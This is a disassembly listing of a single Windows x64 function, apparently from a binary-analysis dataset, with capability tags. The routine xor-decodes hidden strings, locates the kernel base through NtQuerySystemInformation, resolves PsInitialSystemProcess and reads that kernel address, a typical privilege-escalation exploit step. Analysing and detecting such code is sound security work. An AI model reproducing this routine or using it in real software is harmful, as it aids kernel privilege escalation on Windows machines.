Function at 0x140007120
Capabilities:
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call
Resolve ntoskrnl gadgets

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
push r12
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400ed140]
xor rax, rsp
mov qword [rbp - 0x18], rax
mov eax, dword [0x1400e5e88]
xor r8d, r8d
movsd xmm0, qword [str.ZAYDSKTW]
mov r12, rcx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], r13
mov qword [r11 + 0x20], r15
lea esi, [r8 + 0x1f]
mov r15d, dword [0x1400ed150]
lea r13d, [r8 + 5]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x1400e5e8c]
movaps xmmword [rsp + 0x70], xmm6
movsd qword [rbp - 0x60], xmm0
mov byte [rbp - 0x54], al
cmp r15d, 2
jl 0x140007298
movdqa xmm2, xmmword [0x1400e6ca0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400e6cc0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e6e00]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r13d
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e6cf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.ZAYDSKTW]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e6d10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x60], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e6cf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x5c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e6d10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
xorps xmm2, xmm0
movd dword [rbp - 0x5c], xmm2
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400072b0
lea rdx, [rbp - 0x60]
xor r14d, r14d
lea rcx, [rbp - 0x38]
call qword [sym.imp.ntdll.dll_RtlInitString]
mov dword [rbp - 0x40], 8
mov edx, 8
mov rax, qword gs:[0x30]
mov r8d, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
nop
mov r8d, dword [rbp - 0x40]
lea r9, [rbp - 0x40]
mov rdx, rbx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140007362
mov rax, qword gs:[0x30]
mov r8, rbx
mov r9d, dword [rbp - 0x40]
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlReAllocateHeap]
jmp 0x14000731b
test eax, eax
jne 0x140007320
xor edi, edi
cmp dword [rbx], edi
jbe 0x1400073bc
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
lea rsi, [rcx + rbx]
add rcx, 0x30
add rdx, rcx
lea rcx, [rbp - 0x28]
add rdx, rbx
call qword [sym.imp.ntdll.dll_RtlInitString]
mov r8b, 1
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x28]
call qword [sym.imp.ntdll.dll_RtlEqualString]
cmp al, 1
je 0x1400073b3
inc edi
cmp edi, dword [rbx]
jb 0x140007370
jmp 0x1400073b7
mov r14, qword [rsi + 0x18]
mov esi, 0x1f
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, dword [0x1400e5e88]
xor r8d, r8d
movsd xmm0, qword [str.ZAYDSKTW]
cmp r15d, 2
mov r15, qword [rsp + 0xc8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400e5e8c]
mov byte [rbp - 0x44], al
movsd qword [rbp - 0x50], xmm0
jl 0x140007519
movdqa xmm2, xmmword [0x1400e6ca0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400e6cc0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e6e00]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r13d
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e6cf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e6d10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.ZAYDSKTW]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0x50], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e6cf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e6d10]
movd xmm1, dword [rbp - 0x4c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
movaps xmm6, xmmword [rsp + 0x70]
lea r9, [rbp - 0x50]
mov r13, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xb8]
movsxd rax, r8d
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140007540
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400075d1
test r14, r14
je 0x1400075d1
lea rdx, str.PsInitialSystemProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rdi
sub rbx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r10, qword [r12]
lea rdx, [r14 + rbx]
mov r9d, 8
mov qword [rbp - 0x40], 0
lea r8, [rbp - 0x40]
mov rcx, r12
call qword [r10 + 0x10]
mov rax, qword [rbp - 0x40]
jmp 0x1400075d3
xor eax, eax
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.1400c27c0
add rsp, 0x80
pop r14
pop r12
pop rdi
pop rbx
pop rbp
ret